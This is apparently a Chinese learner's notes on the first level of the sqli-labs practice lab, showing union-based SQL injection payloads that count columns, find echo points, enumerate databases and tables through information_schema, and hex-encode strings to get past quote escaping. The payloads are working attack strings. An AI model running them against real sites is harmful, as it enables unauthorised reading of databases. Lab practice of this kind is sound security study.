继续昨天的sqli-labs第一关
这里采取联合查询
id=' union select 1,2,3 --+
这里是因为之前之前用id=' or 1=1 --+ 可以得到username 和 password两个字段 相当于表中有三个字段?(我自己理解)
当然可以自己在select 后 1,2,3,4,... 利用显错一个个试
那么这步之后就是看他回显点在哪里
很明显回显的点在 2,3 可以在这里用user()字段查看数据库名
当然还可以逐行显示数据库名 第一行就是limit 0,1 第二行是1,1 第三行是2,1以此类推
这里不能全部显示是因为结果每次只能显示一行,不然会报错(下图可以看到最终执行的sql语句后面是跟了limit 0,1的,是人家写好的不是我们写的limit)
id=' union select 1,(select schema_name from information_schema.SCHEMATA limit 0,1) ,3 --+
这里如果想把全部信息显示在一行,要用到group_concat()函数
id=' union select 1,(select group_concat(schema_name) from information_schema.SCHEMATA ) ,3 --+
那么这里也是可以看到成功的效果
根据SQL数据类型分类
- 整数型注入(不需要闭合单双引号)
- 字符型注入(需要闭合单双引号,括号或者需要注释)
查询某个指定数据库下面有哪些表:
select table_name from information_schema.tables where table_schema = '指定数据库名'
拼接后的语句:
id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = database()),3 --+
如果这里对单双引号进行转译,我们可以考虑通过编码的方式:
这里其实就是转换为数据库会对哪种编码进行自动解码
这里注意通过十六进制编码出来的结果后要在查询处结果前加 0x(代表十六进制)